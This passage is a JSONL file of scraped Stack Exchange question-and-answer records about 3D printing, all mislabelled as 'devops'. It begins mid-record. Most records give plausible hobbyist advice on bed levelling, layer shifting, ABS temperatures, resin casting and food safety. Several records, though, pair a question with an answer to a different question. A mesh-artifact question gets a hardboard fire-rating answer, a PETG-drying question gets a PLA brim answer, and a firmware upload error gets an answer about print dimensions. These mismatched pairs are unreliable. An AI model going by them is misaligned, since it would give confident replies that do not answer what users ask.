are reserved in file naming and will lead to other errors (mainly when trying to create the files in the first place), including, but not limited to,\n```\n/\n```\n```\n\\\n```\n```\n:\n```\n```\n?\n```\n```\n*\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:03.383069"}
{"id": "hf_9ab9413c2a95", "question": "<p>I have only just set up my Anet A6 today. I am trying to print a calibration box, but the print is moving around the bed while trying to print. Any ideas how to fix this? The documentation is very vague.</p>\n\n<p>Basically I am very new to 3D printing. I purchased an Anet A6 and have set it up stock. I am trying to just print the box directly from the demo models on the SD card. I'm using the standard filament that comes with the printer. I'm not sure what type it is.</p>\n\n<p>All settings are default.</p>\n", "question_body": "", "answer": "If the printed material moves with the nozzle, you might have several problems at hand, e.g.:\nadhesion,\nnozzle to bed distance and\noverall level.\nNozzle to bed distance needs to be the thickness of a plain A4 or Letter paper. This needs to be at the same distance (when pulling the sheet of paper you need to feel a little drag) at the complete area of the bed. This is sometimes difficult as not all beds are perfectly flat from itself. Finally, you need to pull some tricks out of your sleeve to get the filament to adhere to the bed. Many example can be found, popular ones are using blue tape, glass bed, glue stick, PVA based spray (e.g. strong hairspray or dedicated spray cans like 3DLAC or Dimafix, etc.), or a combination of these. You just need to experiment some more what works best for you, but it is good to start with a correctly levelled bed with the proper nozzle gap. Sometimes, increasing the bed and filament temperature with 5 °C for the first layer also helps.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:03.408757"}
{"id": "hf_8abebaaa6696", "question": "<p>I bought an Ender 3, and after assembling it following the description and some YouTube videos and after correct leveling, I printed the test dog gcode on the micro SD card that comes with the printer. PLA 1.75&nbsp;mm. Attached the image of the printing result. What went wrong? I didn't change or modify any settings what so ever, I just assembled the printer, and printed the test dog. Please help me, I am a beginner in 3D printing. </p>\n\n<p><a href=\"https://i.stack.imgur.com/CisP7.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/CisP7.jpg\" alt=\"enter image description here\"></a></p>\n", "question_body": "", "answer": "This is an extreme case of repeated layer shifting in the Y-carriage, which can come from some pieces related to the carriage. Luckily for you, they are easily fixable.\nThe Ender3 Y-carriage has an eccentric nut to adjust the force the wheels press down on the V-slot. Adjust it (most likely loosen them a little) so it moves smoothly when the motors are off, but keep it tight enough so it does not tilt.\nThe belt in the Y-carriage might be loose. Tighten it till it gives a nice ring when struck.\nCheck if the gear on the Y-motor is tightened down correctly. If it slips or wriggles, the backlash results in the layers shifting.\nThe Ender3 has the cables to the gantry and the bed running across each other and quite open. Make sure nothing can be caught in them.\nMake sure the gantry is parallel to the bed and stays so in moving upwards - adjust the wheels as needed.\nTo ensure this, make sure the lead screw is orthogonal to the gantry. Level the bed afterwards. You might need to adjust the motor mount, possibly by shimming.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:03.510721"}
{"id": "hf_88b76fafe73e", "question": "<p>I am looking for the temperature rating for hardboard. I want to use that as the base for my printer enclosure. </p>\n\n<p>It has proven incredible hard get a ball-park figure from Google. </p>\n\n<p>So, what is the maximum safe temperature for a hardboard panel at long term? (considering a print job can easily take 6 hours).</p>\n\n<p>PS: if you have used a hardboard to build your enclosure, your experience might be helpful.</p>\n", "question_body": "", "answer": "Hardboard is called\nMasonite\nhere in the States because that is the trade name of the product. If you look up the\nMaterial Safety Data Sheet\nyou will see Masonite it states the following (Section 5):\nAuto-ignition Temperature (°C): >200 degrees Celsius\nIn Section 7, it states:\nThese boards are flammable but difficult to ignite.\nFurthermore in Section 10, it states:\nConditions to avoid:\nAvoid sources of radiant heat and flame; and avoid sparks and sources of ignition in all electrical equipment, including dust extraction equipment.\n  Avoid excessive build up of dust from boards.\nThe hot end works of printers are neither radiant heat, nor flames, nor sparks. Yes, you'll have a buildup of heat within the working confines of an enclosure, but if you are only using it for a base there should be absolutely no issues. If you were to build an entire enclosure from hardboard, you could put a thermal probe inside with the printer to ensure it doesn't get too hot, but realistically, it will never get hot enough within the enclosure to light the hardboard on fire.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:03.548432"}
{"id": "hf_1fb6450af12d", "question": "<p>Sometimes my meshes turn out with artifacts Which can be seen in the bottom image. What is the cause? The first image shows my mesh which its generated from.\nI've tried multiple slicers. This tends to occur sometimes.\nAny help appreciated. Is there something going over my head???</p>\n\n<p><a href=\"https://i.stack.imgur.com/neQxc.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/neQxc.png\" alt=\"mesh wireframe\"></a></p>\n\n<p><a href=\"https://i.stack.imgur.com/W19Y7.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/W19Y7.png\" alt=\"Artifacts in 3d model\"></a></p>\n", "question_body": "", "answer": "Hardboard is called\nMasonite\nhere in the States because that is the trade name of the product. If you look up the\nMaterial Safety Data Sheet\nyou will see Masonite it states the following (Section 5):\nAuto-ignition Temperature (°C): >200 degrees Celsius\nIn Section 7, it states:\nThese boards are flammable but difficult to ignite.\nFurthermore in Section 10, it states:\nConditions to avoid:\nAvoid sources of radiant heat and flame; and avoid sparks and sources of ignition in all electrical equipment, including dust extraction equipment.\n  Avoid excessive build up of dust from boards.\nThe hot end works of printers are neither radiant heat, nor flames, nor sparks. Yes, you'll have a buildup of heat within the working confines of an enclosure, but if you are only using it for a base there should be absolutely no issues. If you were to build an entire enclosure from hardboard, you could put a thermal probe inside with the printer to ensure it doesn't get too hot, but realistically, it will never get hot enough within the enclosure to light the hardboard on fire.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:03.573938"}
{"id": "hf_0e7640a6b53a", "question": "<p>I want to 3d print my own icing smoothers, but I'm not sure if its safe to have plastic from a 3D printer in contact with cake icing. Is there any harm in this?</p>\n", "question_body": "", "answer": "Only certain plastics are safe enough to be used to contain or manipulate food. ABS and PET-G are such materials. The 3d printing process however is not food safe because, it creates crevices in the printed part into which bacteria and other contaminants can cling to. A printed part would need to be coated in a silicone rubber to render the surface both inert (can't grow anything) and smooth (no crevices). Further, the type of plastic you use must be able to be sterilized in boiling water. PLA softens in boiling water. PET-G variants can as well (think clear plastic bottles). This is why most food handing utensils are either glass or stainless steel.\nIf you are going to use a 3d printing process to produce parts that are to be used for food, you also have to consider containment from the machine itself. The brass nozzle, the teflon tube, the extruder gears etc. The filament itself may not have come from the factory as clean as it would need to be to be used around food.\nIf you are able to coat the heat resistant part in silicone and you only use it a few times (ensuring that it is properly washed and sterile) then it can be used for food prep purposes.\nThere is a difference between food grade and safe for contact with food.\nAcrylonitrile/butadiene/styrene copolymer identified in this section may be safely used as an article or component of articles intended for use with all foods, except those containing alcohol, under conditions of use E, F, and G described in table 2 of 176.170(c) of this chapter.\nAbstract from: https://www.accessdata.fda.gov/scripts/cdrh/cfdocs/cfcfr/CFRSearch.cfm?fr=177.1020", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:03.598779"}
{"id": "hf_986fa5103a3b", "question": "<p>I am new here and would like to work on a project to 3D print a precision prototype. What is the most affordable way to do it? How do I go about it?</p>\n", "question_body": "", "answer": "These two videos seem to give a good, general, entry-level introduction to the various technologies and processes that are involved in 3D printing:\nThe Ultimate Beginner's Guide to 3D Printing - Part 1\nThe Ultimate Beginner's Guide to 3D Printing - Part 2", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:03.660073"}
{"id": "hf_374a28105d83", "question": "<p>My Anet A8 reads as 120ish degrees Celsius, but it is set to 200 degrees. I don't know if it is reading the wrong temperature because it still pushes out plastic when I force it. It will climb up and then go back down. I don't know if the hot end it broke or if the thermistor is broke.</p>\n", "question_body": "", "answer": "You are sitting on a fire risk!\nIf you are using the stock/original firmware, you should\nimmediately stop printing\n. The stock firmware of the Anet A8 has no\nthermal runaway protection\n(\nsee also\nthis answer\n), this means it will keep heating until the thermistor senses 200 °C, even if it cannot do that for some reason or another.\nWhen a hotend temperature does not read the correct value, your thermistor in the hotend may not be making correct contact (as you say that it goes up and down). Please ensure that the thermistor is correctly positioned, it makes good contact and the wires correctly fastened.\nSimilarly applies to the heater cartridge, which can fall out and causing a fire if not properly fastened. Ensure the heater cartridge is properly positioned and held in the heater block.\nFluctuations in temperature sometimes are induced by a wrongly positioned fan duct (but generally not that much). The reason why this is not the case here is that you can still push the filament through while it reads about 120 °C;\nthis temperature is generally too low to push filament through\n. Apparently the hotend is still hot enough to push filament through while registering a low temperature.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:03.697486"}
{"id": "hf_c27df2b0604a", "question": "<p>I've recently acquired a Flashforge Adventurer 3 and am having difficulty printing with ABS. The initial layers seem to lay and stay pretty well, though after a few more moments, one side will peel up from the heated platform. I'd like to know if anyone has optimal and tested temperatures for the use of ABS on my printer for the nozzle and platform?</p>\n\n<p>I've used FlashPrint for slicing my objects using the following options:</p>\n\n<ul>\n<li>Supports: Disable,</li>\n<li>Raft: enable,</li>\n<li>Resolution: Standard,</li>\n<li>Layer Heights: 0.18&nbsp;mm,</li>\n<li>First Layer Height: 0.27&nbsp;mm,</li>\n<li>Perimeter Shells: 2,</li>\n<li>Top Solid Layers: 4,</li>\n<li>Bottom Solid Layers: 3,</li>\n<li>Fill Density: 15&nbsp;%, Hexagon, Every 2 Layers,</li>\n<li>Print Speed: 60&nbsp;mm/s,</li>\n<li>Travel Speed: 80&nbsp;mm/s,</li>\n<li>Extruder: 225&nbsp;&deg;C,</li>\n<li>Platform: 70&nbsp;&deg;C,</li>\n<li>Cooling Fan Controls: Automatic,</li>\n<li>Nozzle Dia.: 0.4&nbsp;mm</li>\n</ul>\n", "question_body": "", "answer": "The most commonly used print temperature range for ABS is 220 to 240 °C with the major bulk around 230 °C. Some filaments are blended with inhibitors or PC, increasing their print temperature to up to 260 °C. Note that the color of the filament just as the brand can have an impact on the print temperature!\nThe most commonly used bed temperature for ABS start at least at 80 °C.\nMatterHackers\nsuggest 85-90 °C.\nIf your bed is particularly bad at getting adhesion, you might want to clean the bed of residues and fingerprints and relevel the bed. If that is not enough and you use a glass bed, a slurry of ABS in Acetone could come in handy. If you have a glass bed, the slurry is pretty much the best option.\nPrint cooling is a bane on ABS - the stuff shrinks too fast if cooled, resulting in the parts breaking loose!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:03.735274"}
{"id": "hf_11973bb63548", "question": "<p>I'm trying to print a calibration cube from PLA using a 70&nbsp;&deg;C heated build platform on a Prusa i3 Pro W. This results in:</p>\n\n<p><a href=\"https://i.stack.imgur.com/G00Um.jpg)\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/G00Um.jpg)\" alt=\"Calibration cube print failed\"></a></p>\n\n<p>Please explain why it prints like this.</p>\n", "question_body": "", "answer": "There are multiple issues that cause this result.\nFirst, your nozzle is to far from the bed. This can be seen by the curly deposited filament on the build plate (I guess that is the brim or the skirt). Please properly level the bed and position the nozzle at a distance of a plain A4 paper as best as possible (should be doable as you have a glass sheet that are usually very flat as a result of the production process to make glass).\nThe second problem you face is layer shift. You see that the squares are printed further and further to the left, the print head does not return to original position. Layer shift is usually caused by improper belt tension or a loose grub screw of the belt pulley.\nThis answer\ndescribes layer shifting in more detail.\nThis question\nmay be helpful too, the answer contains some references to layer shifting.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:03.790095"}
{"id": "hf_24d847fe8a19", "question": "<p>Recently I have been doing more complicated math in OpenSCAD and I have run into something that I find strange. Take a simple math expression: <code>2 / 2 / 2</code>. By any programming language this will equal 0.5 (1/2), and OpenSCAD agrees. Something like this: <code>2 / -2 / 2</code> should also be -0.5 for the same reason. However, OpenSCAD thinks this is -2. That is <code>echo(2 / -2 / 2);</code> gives <code>ECHO: -2</code>. My calculator, other programming languages (and myself) all say its -0.5.</p>\n\n<p>Is this a quirk of OpenSCAD, or am I missing something obvious?</p>\n", "question_body": "", "answer": "I suspect the behavior you are seeing is an undocumented feature (aka, bug) of OpenSCAD. I've found in the latest stable release that if the - is placed on either end, the result is -0.5, but in the middle, my results are the same as yours. Surrounding the -2 with parentheses results in a correct answer, however.\nIt appears that the parentheses turns a mathematical operation into a signed integer. It follows that the operations without the parentheses is right to left:\n2/2 = 1, negative 1 with the minus, 2/-1 = -2", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:03.861154"}
{"id": "hf_b0961da04463", "question": "<p>I bought new yellow PLA filament from XYZ (1.75&nbsp;mm). </p>\n\n<p>Over the past I have printed many objects with my da Vinci 1.0 (ABS only). I found that while the brim is being printing (using default configuration of XYZWare; the da Vinci machines give the user very little control over print parameters, if I remember correctly the temperatures are controlled by the chip in the filament cassette), filament stopped extruding from my extruder immediately. However, ABS can be printed properly. </p>\n\n<p>Could anyone tell me how can I work around ?</p>\n\n<p><a href=\"https://i.stack.imgur.com/TJPFb.jpg\" rel=\"nofollow noreferrer\" title=\"Part of brim that stopped printing\"><img src=\"https://i.stack.imgur.com/TJPFb.jpg\" alt=\"Part of brim that stopped printing\" title=\"Part of brim that stopped printing\"></a></p>\n", "question_body": "", "answer": "That looks pretty bad for a number of reasons. If you've got an all-metal hotend, you can be pretty sure that your PLA issues are probably at least partially cooling-related. I'd recommend you try and find a better fan duct design for your hotend, if possible, and possibly upgrade to a better fan.\nYou can temporarily skirt around cooling issues with PLA in all-metal hotends by printing\nmore material\n, which typically means one or all of the following:\nFaster print speeds (if your printer can move quickly enough and has good acceleration)\nThicker lines! Surprisingly useful. If you don't want to sacrifice print detail, then make the infill lines ridiculously thick, the inner wall lines fairly thick, and the single outer perimeter \"normal\" thickness.\nThicker layer height. Normally I printed at 0.2mm like everyone else, but with PLA in my all-metal hotend, I had to up it to 0.3 with fatter lines as well.\nIf you can consistently keep the filament going through the hotend instead of lingering inside of it, you can basically \"push\" the melt zone back down into the heater block where it belongs, instead of it creeping upwards and resulting in a jam.\nAs a side note, the rippled surface of your brim there looks very similar to what used to happen to mine; the ripples are usually indicative of some form of over-extrusion on the first layer. I'd maybe look into checking your Z offset to make sure your print nozzle is far enough away from the bed, and maybe also check your flow rate is accurate for that particular filament. Check the filament diameter in a few places with a micrometer if you have access to one, and compare to your ABS prints to see if maybe you should adjust the flow rate down a few percent in your slicer.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:03.897119"}
{"id": "hf_f35c10f4a71c", "question": "<p>At the moment the outside surface temperature is around 30 °C. Can I put my PETG spools outside with a fan in order to dry them cheaply?</p>\n", "question_body": "", "answer": "That looks pretty bad for a number of reasons. If you've got an all-metal hotend, you can be pretty sure that your PLA issues are probably at least partially cooling-related. I'd recommend you try and find a better fan duct design for your hotend, if possible, and possibly upgrade to a better fan.\nYou can temporarily skirt around cooling issues with PLA in all-metal hotends by printing\nmore material\n, which typically means one or all of the following:\nFaster print speeds (if your printer can move quickly enough and has good acceleration)\nThicker lines! Surprisingly useful. If you don't want to sacrifice print detail, then make the infill lines ridiculously thick, the inner wall lines fairly thick, and the single outer perimeter \"normal\" thickness.\nThicker layer height. Normally I printed at 0.2mm like everyone else, but with PLA in my all-metal hotend, I had to up it to 0.3 with fatter lines as well.\nIf you can consistently keep the filament going through the hotend instead of lingering inside of it, you can basically \"push\" the melt zone back down into the heater block where it belongs, instead of it creeping upwards and resulting in a jam.\nAs a side note, the rippled surface of your brim there looks very similar to what used to happen to mine; the ripples are usually indicative of some form of over-extrusion on the first layer. I'd maybe look into checking your Z offset to make sure your print nozzle is far enough away from the bed, and maybe also check your flow rate is accurate for that particular filament. Check the filament diameter in a few places with a micrometer if you have access to one, and compare to your ABS prints to see if maybe you should adjust the flow rate down a few percent in your slicer.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:03.921803"}
{"id": "hf_fc52a104019f", "question": "<p>I have a 3D printer and I have printed some models with castable resin. When I burn one of these models in the oven and then do the metal casting, the surface of the metal piece is not smooth.</p>\n\n<p>I did a test with a pan. I put a model of wax and a model of castable resin to heat in a pan, and the wax model melts, but the resin model don't.</p>\n\n<p>The resin I have is the following:</p>\n\n<p><a href=\"https://i.stack.imgur.com/o07nG.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/o07nG.jpg\" alt=\"enter image description here\"></a></p>\n\n<p>What is the correct process to make a correct resin casting?</p>\n\n<p>Thanks for your help.</p>\n", "question_body": "", "answer": "Traditional lost molds.\nThe reason many jewelers use wax for making the molds for lost mold casting is, that it has (compared to plastic molding materials) a very low melting and boiling point, allowing to create molds with much lower temperature equipment.\nA variant of green sand casting is done with materials that very quickly decompose in contact with the molten metal or that burn out after setting fire to them. Very common in this context is foamed styrene. Styrene melts and burns easily so it is easy to use in this way.\nPLA has been used in some experiments as a positive and then molten out in a baking oven. It and other printing filaments are usually thermoplastics, so melting them out is similar to wax.\nResin is not soft wax or a thermoplastic.\nNo, in fact, most resins are a duroplastic, meaning that they don't melt.\nIf you print a positive from resin and then make a mold from that for lost mold casting, you go the traditional way. But most resins don't melt out the way wax does, and on contact with molten metal don'T evaporate the way wax residue does. You got to properly\nburn\nout the remains of the cured resin at a higher temperature and for a longer time than the wax as the melting point is much higher - use a proper burning oven. A proper burning oven in this relation reaches something like an email oven (1100 °C) or a clay burning oven (up to 1800 °C)\nPutting the molds with the opening down into one of these ovens at high temperature should help a lot. Make sure to put a spacer and a tray below to allow better airflow and get the resin out.\nChemical Club.\nBesides heat to destroy the resin, most resins could be solved by very highly aggressive chemicals. Which chemical works highly depends on what the resin actually is - if it is\nepoxy resin\nit would be the highly toxic CH\n2\nCl\n2\nwhile\npolyester resin\nis soluble in isopropanol and sulphuric acid.\nCold alternative?\nIf your product is to be made of a two-component resin or a ceramic that can be shaped cold and that sustains form, then you might also look at silicone molding. This is not an alternative for most metal castings. Among the very few exceptions is pewter, as PunishedPropsAcademy and Evan&Katelyn\nshowed in their video\nand there are high temp silicones around that could be used repeatedly for pewter.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:03.984823"}
{"id": "hf_431839550809", "question": "<p>I've been having trouble uploading the TH3DUF_R2 firmware to my CR-10.  I've already successfully flashed the bootloader using my Arduino,  but when I try to upload the bootloader I get this error:</p>\n\n<p><code>avrdude: ser_open(): can't set com-state for \"\\\\.\\COM4\"</code></p>\n\n<p>Things I've tried:</p>\n\n<ul>\n<li>Changing the usb drivers</li>\n<li>Changing the baud rate</li>\n<li>Using a different computers without any other usb devices</li>\n</ul>\n\n<p>My printer is not functional right now with just a bootloader and no firmware, so I'm not really sure where to go from here.</p>\n", "question_body": "", "answer": "You should not look at the relative dimensional differences, you should be looking at the absolute differences. Multiplying the undersized dimensions in percentage with the cylinder diameter gives you a value of 0.4  mm for each cylinder give or take a few hundreds. So, basically your printer works very consistent it is just suffering from a systematic offset.\nBasically, the printing process needs to\nadjust the X-Y dimensions to compensate for plastic flow effects. An option or setting in Ultimaker Cura to counteract this is called\n```\nHorizontal﻿ ﻿Expansio﻿n\n```\n. Slic3r and Simplify3d have similar settings. In Slic3r it is called\n```\nXY size compensation\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:04.033483"}
{"id": "hf_4e94387f895c", "question": "<p>Anyone have any idea how much power it takes to run a Creality Ender 3 3D printer every day for several hours at a time? Like what does it eat up per hour? A rough estimate of power use per hour would be nice, then I can figure out how much it costs me. Can anyone help me?</p>\n", "question_body": "", "answer": "If it is really important to you to know how much you are spending per any given print, your best bet is not to guess,\nbut to know\nhow much power you're using. To that end, you could purchase a power meter which monitors your power usage. Given the right one, it can even calculate the cost of the power usage all in one little package. This link,\nThe 10 Best Electricity Usage Monitors\n, should provide you some ideas as to what you might find, but I'm sure there are plenty more out there (NOTE: I have no affiliation to the link provided ... it was just a random one I found through a Google search ... Go Go Google-Fu!).\nAs 0scar pointed out in his comment, there are just too many variables to try and guess what the power consumption\nmight be\n. If you are looking for a real answer, I believe something along the lines as I've linked above is going to be your best solution to getting a real answer. Anything else is more or less just a guess.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:04.058097"}
{"id": "hf_25dd61a842fd", "question": "<p>Has anyone had any luck with printing multi-colored prints with the Palette 2 on an Ender 3? If so, what is your steps/mm for the Ender 3 and your flow rate in whatever slicer you are using? I currently have my flow rate at 100&nbsp;% and my steps/mm at 104.4, and I believe this is what is causing my Palette 2 to not produce accurate results.</p>\n\n<hr>\n\n<p><strong>About the Palette 2</strong></p>\n\n<p><a href=\"https://www.mosaicmfg.com/products/palette-2\" rel=\"nofollow noreferrer\">Palette 2</a> is a separate device providing one multi color filament out of multiple single color filaments.</p>\n\n<p>As the Ender 3 does not support multi-colour printing, that's why I'm using the Palette 2. It allows any printer to print in multi color as it adds multi color printing to single extruder printers.  </p>\n", "question_body": "", "answer": "On this thread,\nDoes anyone tried Palette 2.0 on Creality Ender 3 or Ender 3 Pro?\n, there are a couple of useful links:\nThere is a video, albeit for the CR-10\n1\n, but that should be of help:\nYouTube - Setup Guide: Creality CR-10 with Palette 2\n;\nIn addition, this Facebook group,\nMosaic Palette, Palette+, Palette 2 (Pro) Users\n, apparently has some users who have paired their Ender 3 with the Palette 2.\nHowever,\nwith respect to your question about the flow rate and steps/mm\n, there isn't much info out there about that, and no one seems to have experienced similar issues, but your issue\nmight\nhave something to do with profiles - which, as you haven't mentioned them in your question, it is hard to know if that might be the issue or not.\nIn the same thread,\nthis post\n, states:\nI use it with the Ender 3.  There is a profile in Canvas and Chroma for it also.\nThis link here,\nChroma for Palette 2\n, states that\nafter\nusing Cura, you then need to load the G-code file into Chroma v3.1, after having selected the appropriate\nprofile\n. However, if you use Canvas, then there is no need for Cura nor Chroma, as Canvas can slice. This link goes through the whole process for Benchy.\nAt the risk of repetition, the process for preparing the print, post-slicing, is also given here, from\nMulticolor 3D Printing How To: Using the Mosaic Palette+ with the Creality Ender 3\n, albeit slightly different from the link above:\nSetting Up Chroma:\nWhen you load up Chroma, you’ll be presented with a blank canvas ready\n  to be filled with your 3D creations.  In the top left corner, make\n  sure that you have the\nEnder 3\nselected from the drop down menu. \n  After this you can click\nLoad Print\n.  From there you’ll be presented\n  with your gcode files that you have on your computer.\nIn this example we will be selecting the\n```\nbutterfly-1.gcode\n```\nfile, and\n  clicking\nOpen\n.  From here Chroma will be compiling and arranging the\n  settings for the gcode file to be displayed.  This might take a minute\n  or more.\nSelecting Your Colors:\nOnce the loading is completed, you will be presented with the 3D\n  rendering of our butterfly!  This butterfly will be in 4 randomly\n  selected colors by default, but we will be changing this next!  To\n  change the colors, navigate to the top of the screen where you will\n  see 4 colored circles, and drop down arrows along with each circle. \n  These circles represent the colors of each tool head.\nTo change the color, click on the\nTool Head Colored Circle\n, and your\n  options for color will appear, we’re going to select\nBlack\nfor our\n  first color.  After this, you will want to select the\nDefault PLA\n  Settings\nby clicking the\nDrop Down Arrow\nto the right of the first\nTool Head Colored Circle\n.\nAs we make these changes you will notice that the 3D rendering of our\n  butterfly will change to our corresponding colors.  Repeat this\n  process for the remaining 3 Tool Heads, remember to use the\nDefault\n  PLA Settings\nfor each Tool Head.\nSaving Your Project:\nAfter you have selected all your colors, you will click\nSave for\n  Printer\nin the top right corner of Chroma.  From there, name your\n  file, and click\nSave\n.  You will be then presented with a loading bar\n  as Chroma prepares our 2 output files.  One of the files will be an\n  adjusted gcode file that has added the purge tower we just modified,\n  and the other file will be a file that goes straight to the Mosaic\n  Palette+.\nPrinting Your Project:\nOnce the files are ready, you will be presented with a screen that\n  says “Ready to Print!”.  On this screen you will be presented with the\n  files you have created for your project, which for us are the\n```\nbutterfly-1.msf\n```\nwhich goes to the Mosaic Palette+ and the\n```\nbutterfly-1.msf.gcode\n```\nfile which is your newly created gcode file.\nYou will also be presented with “Materials Used” for the project,\n  “Number of Splices” for the project, and “Number of Pings” for the\n  project.\nAfter this, you will need to turn your Creality Ender 3 on if it isn’t\n  already.  After making sure that you have all your\ncomponents set up\n  and assembled correctly\n, then it is safe to begin the printing\n  process.\nDepending on your specific project will determine how long the\n  printing process takes.  But once your printing process is complete\n  you will be presented with your\nbeautiful multicolored 3D butterfly\n(or whatever your project was)!  After printing is finished, you\n  should let the project cool before you attempt to remove it from the\n  tray. Once it has cooled you can now gently pry the project off of the\n  tray.\nFootnotes\n1\nThe CR-10 is, on a broader level, an Ender-3 with 2 lead screws and a slightly different board.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:04.083774"}
{"id": "hf_abba09897289", "question": "<p>When filament is too short for the extruder to push will there be a stop in printing on the Ender 3, meaning that I should replace the filament when the end of the filament is near the extruder?</p>\n", "question_body": "", "answer": "The extruder can't push anymore when the filament is past the extruder gear. If your filament has run out to that point, the print will\nnot\nhalt but print without a filament, meaning that the print will fail. You need to pause the print in time and then put fresh filament into the printer.\nIf the end of the filament is cut flat at the end and the new one is flat too, the new filament can push the old one out to the nozzle, reducing the waste to a minimum, if you can live without retraction for the amount of length that has to be used up. You could friction weld the two parts together to alleviate this.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:04.123290"}
{"id": "hf_d95e4f52e6bf", "question": "<p>I'm interested in 3d printed reaction chambers, but can't find any good information on chemical resistances of PLA, just vague claims that it \"might not be\" \"because it's biodegradable\" or that it depends on additives (likely true, but it would be nice to know if there's hope of finding PLA without problematic additives if the PLA itself is okay). Is there any published research or even anecdotes (which could suggest it's worth spending effort to investigate further) on this topic?</p>\n", "question_body": "", "answer": "As @T. M. notes in his comment, there are many good charts of chemical compatibility with various agents.  Very few (I found none) include information about PLA.  By all means, use search engines to find some information.\nBut, no data source is as true to your specific needs as is testing your candidate materials with your agents.\nAs a first test put the agent in a tall thin jar or test tube.  Use a few test filaments so that the ends are dipping into the agent.  Check for signs of dissolution, swelling, softening, or any relevant change in the material's characteristics.  Examine the candidate filaments right away, then after minutes, then hours, and if any material survives, perhaps in days.\nPrint test objects.  Test them with your agent.  Try until you find something that works.\nThe online material compatibility tables will help you eliminate materials before testing them.  If it says a material is incompatible, it probably is incompatible.  If rated as highly compatible, it should be tested because the formulation of a filament may not match the material tested for the compatibility tables.  If you are running out of options, try the intermediate compatibility plastics.\nBottom line, use the online information to help direct your search, but you should do your own tests.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:04.174817"}
